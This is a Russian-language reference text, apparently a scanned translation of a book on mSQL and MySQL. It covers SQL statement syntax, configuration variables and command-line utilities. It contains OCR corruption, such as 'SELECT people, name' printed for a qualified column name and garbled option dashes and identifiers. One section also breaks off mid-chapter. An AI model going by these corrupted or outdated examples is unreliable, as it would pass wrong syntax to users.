    Записывает данные в таблицу. Этот оператор вставит указанные значения в заданные столбцы. Поля, значения которых не указаны, получат значение NULL. Если вы не зададите список столбцов, число указанных значений должно точно совпадать с числом столбцов в таблице.

    Примеры

    # Добавить запись в таблицу'people'.

    INSERT INTO people ( name, rank, serial_number )

    VALUES ( 'Bob Smith', 'Captain', 12345 )

    SELECT

    SELECT [DISTINCT] columns FROM table [clause]

    Выбирает данные из таблицы. Оператор SELECT является основным методом чтения данных из таблиц баз данных.

    Если вы укажете несколько таблиц, mSQL автоматически объединит таблицы для сравнения записей.

    Если указано ключевое слово DISTINCT, будет показана только одна запись из каждой группы одинаковых записей возвращаемого набора.

    Имена столбцов могут быть указаны как column или как table, column . Длинная форма необходима только для того, чтобы отличать столбцы с одинаковыми именами, но ее можно использовать в любое время (например, SELECT name FROM people; SELECT people, name FROM people ).

    Список таблиц для соединения указывается как Table1, Table2, Tab-1еЗ, .... Таблицы будут соединены таким образом, как mSQL сочтет наиболее эффективным. Именам таблиц могут быть присвоены псевдонимы (например, SELECT t1.name, t2.address FROM Iong_table_name=t1, Ionger_table_name=t2 ). Если не указано выражение clause, SELECT вернет все данные из выбранной таблицы (или таблиц).

    Выражение отбора записей может содержать следующие операторы:

    WHERE

    Конструкция WHERE является основным способом поиска данных в SQL. В конструкции сравниваются два и более значений. Можно использовать значения с именами (такие как имена столбцов и псевдонимы), числовые константы и строки. Поддерживаются следующие операторы:


    AND

    Выполняет логическое И ( вернет 0, если хоть один из аргументов равен 0, иначе вернет 1).

    OR

    Выполняет логическое ИЛИ (возвращает 1, если любой из аргументов не равен 0, иначе возвращает 0).

    ()

    Скобки используются для группировки операторов, чтобы указать старшинство.

    =

    Возвращает 1, если два значения совпадают, иначе вернет 0. mSQL автоматически преобразует типы при сравнении значений.

    <>

    Возвращает 1, если два значения не совпадают, иначе возвращает 0.

    <=

    Возвращает 1, если левое значение меньше или равно правому, иначе возвращает 0.

    <

    Возвращает 1, если левое значение меньше, чем значение справа, иначе возвращает 0.

    >=

    Возвращает 1, если левое значение больше или равно правому, иначе возвращает 0.

    >

    Возвращает 1, если левое значение больше правого, иначе возвращает 0.

    ORDER BY column [DESC][, column2 [DESC],...]

    Сортирует возвращаемые данные по заданному столбцу (или столбцам). Если указать DESC, данные будут отсортированы в порядке убывания, иначе будет использована сортировка по возрастанию (например, SELECT name, age FROM people ORDER BY age DESC ).

    value1 LIKE value2

    Сравнивает valuel и value2 и возвращает 1, если они совпадают. Значение справа может содержать знак подстановки " % ", который заменяет любое количество символов (в том числе и отсутствие символа), и знак '_', замещающий в точности один символ. Это, возможно, наиболее употребительное в SQL сравнение. Чаще всего используется сравнение поля с некоторой строкой, содержащей знак подстановки (например, SELECT name FROM people WHERE name LIKE 'B%' ).

    value1 RLIKE value2

    Сравнивает valuel и value2, используя расширенный синтаксис регулярных выражений, и возвращает 1, если они совпадают. Значение справа может содержать полные подстановочные выражения и конструкции Unix (например, SELECT name FROM people WHERE name RLIKE '^В. *').

    value1 CLIKE value2

    Сравнивает value1 с value2, используя нечувствительную к регистру версию оператора LIKE (например, SELECT name FROM people WHERE name CLIKE 'b%' ).

    Предложение WHERE возвращает все записи, для которых значение заданного выражения не равно 0 или NULL. Таким образом, SELECT age FROM people WHERE age>10 вернет только те записи, где 'ages' больше 10.

    Примеры

    # Найти все имена (пате)в таблице 'people', у которых поле 'state' равно 'МI'. SELECT name FROM people WHERE state='MI' # Показать все данные из таблицы 'mytable'. SELECT * FROM mytable

    UPDATE

    UPDATE table SET column=value, . . . [WHERE clause]

    Изменяет данные в таблице. Используется для обновления существующих данных, не изменяя саму таблицу.

    Пример

    # Изменить имя 'John Deo' на 'John Doe' во всей таблице 'people'. UPDATE people SET name='John Doe' WHERE name='John Deo'

    MySQL SQL

    ALTER/MODIFY

    ALTER [IGNORE] TABLE table ADD [COLUMN] create_clause

    ALTER [IGNORE] TABLE table ADD INDEX [name] (column, . . .)

    ALTER [IGNORE] TABLE table ADD UNIQUE [name] (column, . . .)

    ALTER [IGNORE] TABLE table ALTER [COLUMN] column SET DEFAULT value

    ALTER [IGNORE] TABLE table ALTER [COLUMN] column DROP DEFAULT

    ALTER [IGNORE] TABLE table CHANGE [COLUMN] column create..clause

    ALTER [IGNORE] TABLE table DROP [COLUMN] column

    ALTER [IGNORE] TABLE table DROP FOREIGN KEY key

    ALTER [IGNORE] TABLE table DROP INDEX key

    ALTER [IGNORE] TABLE table DROP PRIMARY KEY

    ALTER [IGNORE] TABLE table MODIFY [COLUMN] create_clause

    ALTER [IGNORE] TABLE table RENAME [AS] new_name

    Оператор ALTER охватывает широкий набор действий, которые изменяют структуру таблицы. Этот оператор используется для добавления, изменения или удаления столбцов существующей таблицы, а также для удаления индексов. Несколько операторов ALTER могут быть объединены в одно предложение с помощью запятых:

    ALTER TABLE mytable DROP myoldcolumn, ADD mynewcolumn INT

    Для модификации таблицы MySQL создает копию таблицы и изменяет ее, выполняя все модифицирующие запросы. Когда все изменения сделаны, старая таблица удаляется, а ее место занимает новая таблица. В этой точке выполняются все поставленные в очередь запросы. В целях безопасности, если какой-либо из запросов создает дублирующие ключи, которые должны быть уникальными, предложение ALTER откатывается и отменяется. Если в предложении присутствует ключевое слово IGNORE, дублированные уникальные ключи игнорируются, и запрос ALTER исполняется как обычно. Имейте в виду, что использование IGNORE для активной таблицы с уникальными ключами может привести к искажению и порче таблицы.

    Как указывалось выше, есть несколько разных, зачастую противоположных действий, выполняемых ALTER:

    ADD [COLUMN] create,clause

    Добавляет новый столбец в таблицу. Выражение create_clause имеет тот же вид, что и используемое в операторе CREATE (см. ниже). Таблица должна существовать и не иметь столбца с тем же именем, что у добавляемого столбца. (Ключевое слово COLUMN необязательно и не имеет эффекта.)


    ADD INDEX [ name] (column , ...)

    Системные переменные MySQL и mSQL

    Для настройки работы MySQL и mSQL могут использоваться некоторые переменные. Многие из них являются переменными окружения, которые наследуются от оболочки пользователя, в то время как другие устанавливаются с помощью командной строки и файлов конфигурации.



    Системные переменные mSQL

    До появления mSQL 2 сконфигурировать систему после инсталляции можно было только через несколько глобальных переменных окружения. Однако mSQL 2.0 использует файл конфигурации, позволяющий производить установку параметров mSQL с гораздо большей гибкостью. Эта часть описывает как переменные окружения, так и специальный файл конфигурации mSQL 2.

    Переменные окружения

    Следующие переменные являются специальными переменными программ mSQL. Они могут быть определены в текущей оболочке или являться частью сценария оболочки.

    MSQL_DEBUG

    Отладочный уровень программы. Число от 0 (нет отладочной информации) до 3 (максимум отладочной информации).

    MSQL_CONF_FILE

    Путь к файлу конфигурации mSQL.

    Кроме того, программы mSQL используют следующие переменные окружения, которые обычно устанавливаются как часть среды Unix:

    USER

    Имя текущего пользователя.

    EDITOR
    VISUAL

    Путь к заданному по умолчанию редактору. Программа msql будет использовать его для редактирования SQL операторов, если ей встретится команда \е.

    Файл конфигурации mSQL

    Файл конфигурации mSQL содержит значения некоторых переменных, которые влияют на работу программ mSQL. По умолчанию он находится в /usr/local/Hughes/msql.conf. Можно изменить это значение в переменной окружения MSQL_CONF_FILE. Файл конфигурации начинается с имени группы, за которым идут переменные этой группы. Ниже пример файла msql.conf:

    [general]

    Inst_Dir = /usr/local/Hughes

    mSQL_User = msql

    Admin_User = root

    Pid_File = %I/msql2d.pid

    TCP_Port =1114

    UNIX_Port = %I/msql2.sock

    [system]

    Msync_Timer = 30 Host_Lookup = True Read_0nly = False

    [w3-msql]

    Auth_Host = NULL Footer = True Force_Private = False

    Секция general влияет на работу всех программ mSQL, сервер баз данных msqld использует секцию system, и секция w3-msql используется системой W3-mSQL, обеспечивающей взаимодействие базы данных с WWW. Когда mSQL читает файлы конфигурации, он заменяет символы %1 на путь к установленной копии mSQL на сервере. Ниже представлены возможные переменные для каждой секции.


    general

    Admin_User

    Имя учетной записи, которой позволено вносить изменения в базу данных mSQL в целом. По умолчанию это root.

    Inst_Dir

    Расположение mSQL. Каждый раз, когда в файле конфигурации встречается символы %1, они заменяются значением данной переменной. Значение по умолчанию - /usr/local/Hughes.

    mSQL_User

    Имя учетной записи, под которой работает демон сервера mSQL. По умолчанию это msql.

    Pid_File

    Расположение файла, содержащего ID процесса (PID) работающего демона mSQL. По умолчанию - %I/msql2d. pid.

    TCP_Port

    В случае программы клиента это номер TCP-порта, используемого для подключения к серверу, для msql2d - это порт, прослушивающий входящие подключения. Значение по умолчанию - 1114.

    UNIX_Port

    Имя файла сокета Unix, используемого для подключения к локальному серверу mSQL (в случае клиентских приложений) либо для обработки локальных подключений (в случае с msql2d). Значение по умолчанию - %I/msql2. sock.

    system

    Host_Lookup

    Если установлено значение 'True', все клиентские подключения должны осуществляться с машин с действующими и проверяемыми именами хостов.

    Msync_timer

    Интервал (в секундах) синхронизации используемых данных, находящихся в RAM, с данными на диске.

    Read_Only

    Если значение этой переменной установлено в 'True', не допускается изменение базы данных. Разрешены только запросы SELECT.

    w3-msql

    Auth_Host

    Имя хоста, содержащего сервер БД с таблицами W3-Auth. Если значение установлено в NULL либо не указано, используется локальный сервер.

    Footer

    Если установлено значение 'True', к каждой странице будет применяться стандартный нижний колонтитул Hughes Technologies.

    Force_Private

    При значении 'True' через W3-mSQL может быть получен доступ только к защищенным W3-Auth страницам. В результате не допускается обработка обычных HTML-файлов через W3-mSQL.

    Системные переменные MySQL

    Переменные окружения MySQL

    Следующие переменные являются специальными переменными MySQL. Они могут быть определены в текущей оболочке или задаваться как часть сценария оболочки. Чтобы установить переменную для демона MySQL (mysqld), определите переменную в используемом для запуска демона сценарии safe_mysqld или определите значения переменных в файле конфигурации MySQL (мы расскажем о нем дальше в этой главе).

    MY_BASEDIR
    MY_BASEDIR_VERSION

    Корневой каталог, содержащий подкаталоги 'bin', 'var' и 'libexec' программы и данные MySQL. Если этой переменной не существует, используется значение по умолчанию (обычно записанное в MySQL как /usr/local). Эти настройки влияют только на программу mysqld.

    MYSQL_DEBUG

    Уровень отладки программы (отладочный уровень). Эта переменная может быть использована с любой программой MySQL. Отладочная библиотека MySQL имеет множество настроек. Список всех доступных опций находится по адресу: http://www.turbolift.com/ туsql/appendixC.html. Самый обычный набор параметров - d: t: о, / tmp/debugfile.

    MYSQL_HOST

    Имя хоста, используемое для связи с удаленным сервером MySQL. Опция может быть использована с любой из клиентских программ MySQL (mysql, mysqlshow, mysqladmin и т. д.).

    MYSQL_PWD

    Пароль, используемый для связи с сервером MySQL. Переменная может быть использована с любой из клиентских программ MySQL.

    Системные переменные MySQLБудьте внимательны при вводе ваших паролей. Обычно при использовании переменных окружения их значение устанавливают в скриптах. Разумеется, использование переменной MYSQL_PWD в скрипте сделает ваш пароль доступным для всех, кто сумеет запустить этот скрипт. Даже установка этой переменной вручную через командную строку делает ее доступной суперпользователю и всем тем, кто может исследовать содержимое системной памяти.

    MYSQL_TCP_PORT

    При использовании вкупе с клиентской программой это будет TCP-порт на удаленной машине, предназначенной для связи с сервером MySQL. Когда используется с программой mysqld, это - номер TCP-порта, прослушивающего входящие соединения.


    MYSQL_UNIX_PORT

    При использовании с клиентской программой - это файл сокета Unix, используемый для связи с сервером MySQL. При использовании с программой mysqld - файл сокета Unix для локальных подключений.

    Кроме того, программы MySQL используют следующие переменные окружения, которые обычно устанавливаются как часть среды Unix.

    EDITOR VISUAL

    Путь к заданному по умолчанию редактору. Программа mysql будет использовать его для редактирования SQL-операторов, если ей встретится команда edit или \е.

    HOME

    Домашний каталог текущего пользователя. LOGIN LOGNAME USER

    Имя текущего пользователя.

    PATH

    Список каталогов, используемых при поиске программ.

    POSIXLY_CORRECT

    Если эта переменная определена, не происходит никакой обработки опций программной строки. В противном случае параметры программной стоки переупорядочиваются таким образом, чтобы сделать возможным использование расширенных опций. Эта переменная может использоваться с любой программой MySQL.

    ТМР TMPDIR

    Каталог, в котором сохраняются временные файлы. Если эта переменная не определена, используется '/tmp '.

    TZ

    Часовой пояс локальной машины.

    UMASK

    Маска, используемая при создании новых файлов.

    Переменные командной строки

    Данные параметры определяются через опции командной строки -0 или -set-variable, которые доступны в большинстве программ MySQL.

    back_log

    Число подключений TCP, которые могут быть поставлены в очередь за один раз. Значение по умолчанию - 5. Эта опция доступна только для mysqld.

    connect _timeout

    Время (в секундах), в течение которого сервер mysqld ожидает пакет подключения, прежде чем ответить сообщением об ошибке соединения (bad handshake).

    decode-bits

    Число бит, используемое для генерирования некоторых внутренних таблиц. Число должно находиться в диапазоне от 4 до 9 (между 4 и 6 в 16-разрядных операционных системах). Значение по умолчанию - 9. Эта опция доступна только для isamchk. Используйте ее лишь при условии, что вы хорошо понимаете структуру таблицы ISAM.


    delayed_insert_limit

    Заставляет обработчик INSERT DELAYED проверять наличие команд SELECT, задержанных при вставке числа записей, указанного в delayed _insert_limit. Если таковые есть, обработчик позволяет выполнить эти команды перед продолжением работы.

    delay ed_insert_timeout

    Как долго поток INSERT DELAYED должен ожидать операцию INSERT перед завершением.

    delayed_queue_size

    Размер очереди (в записях) для обработки INSERT DELAYED. Если очередь переполняется, все клиенты, выполнившие INSERT DECAYED, снова будут ждать, пока появится место в очереди.

    dritebuffer

    Размер буфера, используемый для хранения исходящих данных. Значение по умолчанию - 260 Кбайт. Эта переменная доступна только для isamchk.

    flush_time

    Если переменная определена, все таблицы закрываются каждые flush_time секунд, для того чтобы освободить ресурсы и синхронизировать изменения на диск.

    join_buffer

    Размер буфера при выполнении соединения таблиц. Увеличение параметра может повысить производительность запросов, использующих соединение таблиц. Значение по умолчанию — 130 Кбайт. Эта опция доступна только для mysqld.

    key_buffer_size

    Размер буфера, выделенного для хранения ключей (индексов), к которым недавно осуществлялся доступ. Увеличение этого значения может привести к увеличению скорости работы запросов, осуществляющих повторное использование одних и тех же индексов. Эта опция доступна только для isamchk (где значение по умолчанию равно 0.5 Мбайт) и mysqld (значение по умолчанию 1 Мбайт).

    long_query_time

    Если значение установлено, то slow_queries увеличивается всякий раз, когда запрос занимает больше времени, чем определено в переменной long_query_time (в секундах).

    max_allowed_packet

    Максимальный размер буфера, используемого для хранения входящих данных. Каждое клиентское подключение имеет собственный буфер. Значение по умолчанию 64 Кбайт. Опция доступна только для mysqld.

    max_connect_errors

    Если значение установлено, сервер блокирует дальнейшие подключения с удаленного хоста, когда количество прерванных подключений с удаленного хоста превышает max_connect_errors. Возможно разблокирование хоста с помощью команды FLUSH HOSTS.


    max_Connections

    Максимальное число одновременных клиентских подключений. Значение по умолчанию - 90. Эта опция может использоваться только с mysqld.

    max_delayed_threads

    Количество потоков, обрабатывающих INSERT DELAYED, должно быть не больше значения этой переменной. Если после исчерпания этого лимита клиент попытается использовать INSERT DATA для ввода новых данных, запрос будет обработан, как если бы атрибут DELAYED не был указан?

    max_join_size

    Максимальный размер временной таблицы, создаваемой при соединении таблиц. Значение по умолчанию - 4 Гбайт. Эта опция может использоваться только с mysqld.

    max_sort_length

    Максимальное число символов, используемое при сортировке полей BLOB либо VARCHAR. Значение по умолчанию 1 Кбайт.

    max_tmp_tables

    (Будет реализовано позднее в версии 3.23.) Максимальное количество временных таблиц, которое клиент может открыть одновременно.

    net_buffer_length

    Начальный размер буфера для хранения входящих данных. Каждое клиентское подключение имеет собственный отдельный буфер.

    По умолчанию его размер равен 8 Кбайт. Опция доступна для mysql, mysqld и mysqldump.

    readbuffer

    Размер буфера, используемого для хранения читаемых из файла данных. Значение по умолчанию 260 Кбайт. Опция доступна только для isamchk.

    record_buffer

    Размер буфера, используемого при чтении данных прямо из таблиц, (то есть без использования ключей). Увеличение этого значения может повысить скорость выполнения запросов, не использующих индексы (ключи). По умолчанию значение равно 130 Кбайт. Этот параметр доступен только для mysqld.

    sortbuffer

    Размер буфера, используемого при сортировке данных из таблиц. Значение по умолчанию 1 Мбайт. Опция доступна только для isamchk.

    sort_buffer

    Размер буфера, используемого при сортировке выбранных данных. Увеличение его размера может повысить скорость выполнения запросов, использующих ORDER BY или GROUP BY. По умолчанию значение равно 2 Мбайт. Эта опция доступна только для mysqld.

    sort_key_blocks

    Число блоков ключей (индексных блоков), используемых при сортировке ключей. Значение по умолчанию 16. Эта опция доступна только для isamchk, пользуйтесь ей, если вы хорошо понимаете структуру таблицы ISAM.


    table_cache

    Максимальное число таблиц, которое сервер баз данных может держать открытым одновременно. По умолчанию это 64 таблицы. Опция доступна только для mysqld.

    tmp_table_size

    Максимальный размер временных таблиц, используемых сервером баз данных. Значение по умолчанию - 1 Мбайт. Эта опция доступна только для mysqld.

    thread_stack

    Размер стека памяти для каждого потока. Значение по умолчанию -64 Кбайт. Эта опция доступна только для mysqld.

    wait_timeout

    Количество секунд, в течение которых сервер ожидает активности от подключения, после чего закрывает его.

    Файл конфигурации MySQL

    Начиная с MySQL 3.22, вы можете указать и серверные, и клиентские настройки в текстовом файле конфигурации. Файл имеет разные значения в зависимости от места расположения, но его формат всегда един. Если он хранится в /etc/my.cnf, настройки применяются ко всем серверам MySQL и клиентам на этой машине. Если файл находится в каталоге данных сервера MySQL (например, /usr/local/mysql/data/ my.cnf), то настройки действительны именно для этого сервера MySQL. Наконец, если файл назван .my.cnf (обратите внимание наточку в начале) и расположен в домашнем каталоге пользователя, он применяется ко всем клиентам, запускаемым этим пользователем.

    Формат файла конфигурации похож на формат файлов инициализации Windows. Файл разбит на абзацы (строфы) с групповым именем, заключенным в скобки. После имени группы идет список параметров. Строки комментария начинаются символом "#" или "; ". Каждое имя группы - это название клиентской или серверной программы MySQL, для которой необходимо определить настройки. Специальное групповое имя client, влияет на все клиентские программы MySQL (кроме mysqld).

    Задаваемые в этом файле параметры могут быть любой длины. Они имеют ту же форму, что и параметры к любой команде MySQL, заданные из командной строки (кроме идентификатора параметров "-" (двойная черта)). Ниже приведен пример файла my.cnf для всего сервера.

    [client]

    port=9999

    socket=/dev/mysql

    [mysqld]

    port=9999

    socket=/dev/mysql

    set-variable = join_buffer=1M

    [mysql]

    host=dbhost

    unbuffered



    в себя обширный набор программ

    Программы и утилиты My SQL и mSQL

    MySQL и mSQL включают в себя обширный набор программ и утилит, которые упрощают общение с базой данных. Многие из этих программ адресованы конечным пользователям для чтения и записи данных, а другие предназначены администраторам баз данных для управления и восстановления базы данных в целом.



    Утилиты mSQL

    msql

    msql [options] database

    Монитор командной строки mSQL. Эта программа является основным средством общения с сервером mSQL. SQL-команды можно набирать прямо в командной строке, и результат будет выведен на экран. Команды могут занимать несколько строк. Никаких действий не выполняется, пока не будет введена строка, заканчивающаяся командой на выполнение. . * .

    Команды

    \e

    Редактировать предыдущее предложение с помощью редактора по умолчанию.

    \g

    Послать команду серверу баз данных.



    Вывести текущую команду.

    \q

    Выйти из программы.

    Параметры

    -f file

    Использовать альтернативный файл конфигурации.
    -h hostname

    Подключиться к серверу баз данных на удаленном хосте.

    msql2d

    msq12d [options]

    Демон сервера mSQL. Все остальные программы взаимодействуют с базой данных через этот сервер, поэтому он должен работать постоянно (кроме отключений для обслуживания).

    Параметры

    -f file

    Использовать альтернативный файл конфигурации.

    msqladmin

    msqladmin [options] command

    Выполняет операции, действующие на сервер баз данных в целом. Эта утилита используется для выключения сервера, добавления и удаления целых баз данных и других административных функций.

    Команды

    copy database newdatabase

    Создает точную копию базы данных под другим именем.

    create database

    Создает новую пустую базу данных.

    drop database

    Удаляет базу данных и уничтожает ее содержимое.

    move database newdatabase

    Переименовывает базу данных.

    reload

    Перечитывает файлы конфигурации.
    shutdown

    Выключает сервер баз данных.
    stats

    Показывает статистику сервера баз данных. Среди выдаваемой информации имеются данные о текущих подключениях к базе данных; показывается, какие базы данных используются и каково количество запросов, посланное каждым подключившимся.

    version

    Показывает информацию о версии сервера баз данных.

    Параметры

    -f file

    Использовать альтернативный файл конфигурации.
    -h hostname

    Подключиться к серверу баз данных на удаленном хосте.

    -q


    Не запрашивать подтверждения команд.

    msqldump

    msqldump [options] database [table]

    Выдает содержимое указанной базы данных (или таблицы базы данных) в виде серии команд ANSI SQL.

    Параметры



    Выводить полные инструкции INSERT.

    -f file

    Использовать альтернативный файл конфигурации.

    -h hostname

    Подключиться к серверу баз данных на удаленном хосте.

    -t

    Создавать дамп только операторов создания таблиц; не выводить данные.

    -w statement

    Использовать оператор WHERE для ограничения выводимых данных.

    -V

    Показать информацию о процессе, пока создается дамп данных.

    msqlexport

    msqlexport [options] database table

    Выдает содержимое указанной таблицы в формате с разделителями в стиле ASCII.

    Параметры

    -е character

    Использовать character для экранирования любых разделителей, найденных в данных.

    -h hostname

    Подключиться к серверу баз данных на удаленном хосте.

    -q character

    Символ, обрамляющий каждое значение данных.

    -s character

    Символ, используемый для разделения данных.

    -v

    Показать информацию о процессе, пока происходит экспорт данных.

    msq Iimport

    msqlimport [options] database table

    Читает файл с ASCII-разделителями и записывает данные в указанную таблицу.

    Параметры

    -е character

    Символ, используемый как управляющий в файле данных.

    -h hostname

    Подключиться к серверу баз данных на удаленном хосте.

    -q character

    Символ, обрамляющий каждое значение данных.

    -s character

    Символ, используемый для разделения данных.

    -V

    Показать информацию о процессе, пока происходит вставка данных.

    relshow

    relshow [options] [database] [table] [index|_seq]

    Показывает структуру указанной базы данных, таблицы, индекса или последовательности данных. Если не задать аргументов, выдается список всех баз данных. С одним аргументом будет выдана информация о структуре заданной базы данных. С двумя аргументами программа выдаст информацию об указанной таблице. Если указать все три элемента, третий аргумент должен быть либо индексом указанной таблицы, либо _seq, и в этом случае будет выдана информация о последовательности данных таблицы.

    Параметры

    -f file

    Использовать альтернативный файл конфигурации.

    -h hostname

    Подключиться к серверу баз данных на удаленном хосте.

    Утилиты MySQL

    isamchk

    isamchk [options] table [table...]

    Выполняет операции на самих табличных файлах (называемых ISAM-файлами из-за индексно-последовательного метода доступа (Indexed Sequential Access Method). Утилита используется для проверки и восстановления файлов, а также для выдачи информации о них. Вы должны указать корректный путь к файлам ISAM, которые хотите проверить. По умолчанию они находятся в /'usr/'local/var/'databasename/tablename.ISM.

    Параметры

    -?, --help

    Вывести информацию об использовании утилиты.

    -# debuglevel, --debug=debuglevel

    Устанавливает отладочный уровень debuglevel. Отладочная библиотека MySQL имеет множество настроек. Полный список параметров доступен по адресу: http://www.turbolift.com/mysql/appen-dixC.html. Обычно используется следующий набор параметров - d:t:o,/tmp/debugfile.

    -a, --analyze

    Анализирует распределение ключей в таблице и вносит изменения, если возможно повышение производительности.

    -d, -description

    Выводит информацию о таблице.
    -е, --extend-check

    Выполняет дополнительную проверку целостности таблицы. После этой операции вы можете быть абсолютно уверены, что ваша таблица в порядке.

    -f, --force

    Заменяет существующие файлы без предупреждения. Также без уведомления восстанавливает поврежденные таблицы.

    -i, --information

    Выводит всю статистику о проверяемой таблице.
    -k=number, -keys-used=number

    Обновляет только указанное число (number) используемых ключей. Этот параметр в основном используется для отключения ключей (-k=0), чтобы добиться ускорения табличных операций, таких как загрузка блоком (bulk load).

    -l, --no-symlinks

    He восстанавливать таблицы с символическими связями.

    -q, --quick

    Ускорить процесс восстановления путем отказа от проверки файла данных.

    -r, --recover

    Выполнить общее восстановление таблицы. Не исправляет дубликаты уникальных ключей.

    -о, --safe-recover

    Использовать старый, более медленный метод восстановления, который может исправить некоторые из повреждений, пропущенных при восстановлении методом <-r>.


    -О, --set-variable

    Установить переменную. См. главу 16 "Системные переменные MySQL и mSQL", где приведен полный список используемых переменных.

    -s, --silent

    Выводить только ошибки.

    -S, --sort-index

    Отсортировать индексный блок таблицы.

    -R=index, --sort-records=index

    Отсортировать записи, используя index.

    -U, --unpack

    Распаковать файл, сжатый с помощьюpack_isam.

    -v, --verbose

    Выводить дополнительную информацию.

    -V, --version

    Вывести информацию о версии.

    -w, --wait

    Если таблица заблокирована, ждать разблокирования. Отсутствие данного параметра приведет к тому, что ismchk прекратит выполнение при обнаружении заблокированной таблицы.

    isamlog

    isamlog [options] [logfile] [table]

    Выводит информацию о журналах ISAM. Журнал ISAM генерируется, если сервер MySQL запущен с параметром -log-isam. Информация из журнала ISAM используется для восстановления поврежденных таблиц с помощью параметра -r. Однако изменение файлов данных напрямую может быть опасным, и перед этим всегда следует резервировать данные.

    Параметры

    -?, -help

    Вывести справочную информацию по использованию утилиты.

    -# debuglevel

    Установить отладочный уровень. Список доступных параметров вы найдете по адресу: http://www.turbolift.com/mysql/appendixC.html.

    -с number

    Проверить только последнее указанное (number) количество команд.

    -f number

    Максимальное число открытых файлов. Когда выполняется восстановление с использованием больших журналов, isamlog может одновременно держать открытыми большое количество таблиц. Если число файловых дескрипторов в вашей системе исчерпывается, этот параметр ограничит число файлов, используемых isamlog. Вместо использования большого количества файлов isamlog будет манипулировать данными между открываемыми файлами и памятью, что приведет к замедлению работы.

    -F directory

    Каталог с файлами журналов ISAM.

    -i

    Выводить дополнительную информацию.

    -о number

    Пропустить указанное число команд перед исследованием журнала.


    -p

    Удалить компоненты из пути к файлам.

    -r

    Игнорировать ошибки при обработке журнала. Этот параметр позволяет восстановить всю информацию из журнала.

    -R datafile recordnumber

    Открыть файл данных ISAM (имя файла заканчивается на .ISM) и выбрать данные, начиная с записи recordnumber.

    -u

    Обновить таблицы, используя информацию из журнала.

    -v

    Вывести дополнительную информацию о процессе.

    -V

    Вывести информацию о версии.

    -w file

    Поместить в файл все записи, найденные с использованием

    -R.

    mysql

    mysql [options] [database]

    Монитор командной строки MySQL. Эта программа является основным способом общения с сервером MySQL. Можно набирать команды SQL прямо в командной строке, и результат будет выведен на экран. Если ввести database, эта база данных автоматически выбирается как текущая.

    Монитор командной строки в работе очень похож на оболочку bash, поскольку использует те же функции GNU, что и bash. Например, вы можете завершить слово с помощью клавиши tab; нажатием Ctrl + a перейти к началу строки или, нажав Ctrl + e, перейти к концу строки; Ctrl + г производит обратный поиск, а нажатие <стрелки вверх> вызывает предыдущую команду.

    Распоряжения могут занимать несколько строк и не выполняться, пока не будет дана команда на выполнение. При использовании команд из полных слов, (go, print и т. д.) команда должна быть введена в строку полностью. Команды с экранированием (\g, \p и т. д.) могут быть использованы в конце любой строки. Точка с запятой может использоваться для завершения команды SQL, так же как и \g.

    Команды

    help, ?, \h

    Показать список команд утилиты.

    clear, \c

    Очистить (игнорировать) текущую команду.

    edit, \e

    Редактировать текущую команду с помощью редактора по умолчанию.

    exit.

    Выйти из программы.

    go, \g, ;

    Послать текущую команду серверу баз данных.

    ego, \G

    Послать текущую команду серверу баз данных и вывести результаты по вертикали.

    print, \p

    Вывести текущую команду.

    quit, \q

    To же, что exit,

    rehash, \#


    Перестроить индекс завершающих терминов.

    status, \s

    Показать информацию о сервере и текущей сессии.

    use, \u

    Выбрать другую базу данных.

    Параметры

    -?, -help

    Вывести информацию об использовании утилиты.

    -# debuglevel. -debug=debuglevel

    Устанавливает отладочный уровень. Полный список параметров доступен по адресу: http://www.turbolift.com/mysql/appendixC.html.

    -A, --no-auto-rehash.

    Не хэшировать заново данные из базы в автоматическом режиме.

    -В, -batch

    Выводить результаты в пакетном ('batch') режиме. Это приведет к выводу информации с минимумом форматирования, что позволит легко использовать эту информацию в других приложениях баз данных.

    -е statement, -execute=statement

    Выполнить указанную команду и завершить программу. Автоматически применяет параметр -В.

    -f, --force

    Не останавливать обработку при обнаружении ошибки SQL.

    -h host, -host=host

    Подключиться к базе данных на указанном хосте.

    -п, -unbuffered

    Не производить буферизацию между запросами.

    -О variable=value, -set-variable variable=value

    Установить переменную. См. главу 16, где приведен полный список используемых переменных.

    -p [password], --password[=password]

    Пароль, используемый при подключении к серверу баз данных. Если этот параметр используется без аргумента, пароль запрашивается из командной строки.

    -P port, -port=port

    Номер порта для подключения к серверу баз данных.

    -q, -quick

    Показывать информацию так, как она приходит от сервера. Если, используя эту функцию, вы приостановите свой терминал, сервер также может приостановиться.

    -r. -raw

    Показывать результаты без какого-либо преобразования. Полезно только в сочетании с -В.

    -s, --silent

    Не выводить некоторые результаты.

    -S file, -socket=file

    Файл сокета Unix, используемый для подключения к серверу баз данных.

    -t, -table

    Показывать результат в табличном формате.

    -Т, -debug-info

    Показать отладочную информацию при выходе из программы.

    -и username, -user=username

    Имя пользователя, используемое при подключении к базе данных.


    -v, -verbose

    Вывести дополнительные результаты.

    -V, -version

    Вывести информацию о версии.

    -w, -wait

    Если не удается подключиться к серверу баз данных, подождать и попытаться повторить подключение позднее.

    mysqlaccess

    mysqlaccess [options] [host] user database

    Показывает и изменяет права доступа к серверу MySQL. Вы можете проверить права пользователя для любой базы данных и для подключения с любого хоста. Для выбора нескольких хостов, пользователей и баз данных возможно использование маскирующих символов (wildcards) оболочки Unix '*' и '?'. Все действия выполняются над копией действующей таблицы привилегий, пока не будет вызвана команда mysqlaccess -commit .

    Параметры

    -?, -help

    Показать справочную информацию по пользованию утилитой.

    -b, -brief

    Показать результаты в виде краткой однострочной таблицы.

    -commit

    Перенести изменения из временной таблицы в действующую таблицу привилегий. Вы должны запустить mysqladmin reload, чтобы сделанные изменения вступили в силу.

    -сору

    Обновить временную таблицу, используя действующую таблицу привилегий.

    -d database, -db=database

    База данных, к которой происходит подключение.

    -debug=debuglevel

    Установить отладочный уровень (от 0 до 3).

    -h host, -host=host

    Имя хоста, права доступа которого проверяются.

    -howto

    Примеры использования программы.

    -Н host, --rhost=host

    Подключиться к серверу баз данных на удаленном хосте.

    -old-server

    Подключится к серверу MySQL версии старше 3.21.

    -р password, -password=password

    Проверить пароль идентифицируемого пользователя.

    -plan

    Показать предложения к следующей версии программы.

    -preview

    Показать разницу между действующей и временной таблицами привилегий.

    -Р password, -spassword=password

    Пароль администратора для доступа к таблице привилегий.

    --relnotes

    Вывести примечания к версии программы.

    --rollback

    Отменить изменения, сделанные во временной таблице.

    -t,--table

    Вывести результаты в полном табличном формате.

    -и username, -user=username


    Имя проверяемого пользователя.

    -U username. -superuser=username

    Имя администратора для доступа к таблицам привилегий.

    -v,--version

    Вывести информацию о версии.

    mysqladmin

    mysqladmin [options] command [command. . . ]

